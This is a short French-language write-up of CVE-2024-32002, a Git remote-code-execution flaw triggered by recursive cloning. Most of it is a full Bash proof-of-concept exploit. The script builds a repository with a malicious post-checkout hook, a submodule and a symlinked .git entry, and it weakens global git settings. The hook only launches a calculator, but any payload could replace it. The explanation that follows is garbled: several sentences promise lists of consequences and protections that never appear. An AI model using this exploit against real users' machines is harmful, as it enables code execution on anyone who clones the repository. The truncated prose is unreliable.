
CVE-2024-32002 est une grave vulnérabilité dans Git qui permet à un attaquant d'exécuter du code arbitraire à distance (RCE) lorsqu'un utilisateur effectue une opération git clone.
Script Bash :
#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# Avoid warning messages (set default branch to main)
git config --global init.defaultBranch main
# Define tell-tale path
tell_tale_path="$PWD/tell.tale"
# Initialize hook repository
git init hook
cd hook
mkdir -p y/hooks
# Write malicious code to hook, compatible with Windows and macOS
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe
open -a Calculator.app
EOF
# Make hook executable: important
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# Define hook repository path
hook_repo_path="$(pwd)/hook"
# Initialize captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Create symbolic link
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
# Local testing (not needed for GitHub)
git clone --recursive captain hooked
Explication simple en anglais :
Ce script Bash crée un dépôt Git malveillant qui exploite une vulnérabilité (CVE-2024-32002) pour exécuter du code malveillant lorsqu'une personne clone le dépôt.
Voici un détail de ce que fait le script :
Lorsque quelqu'un clone le dépôt "captain", le script malveillant s'exécutera sur son ordinateur, pouvant entraîner des conséquences graves comme :
Pour vous protéger de telles attaques :
En suivant ces précautions, vous pouvez réduire considérablement le risque d'être victime d'attaques similaires.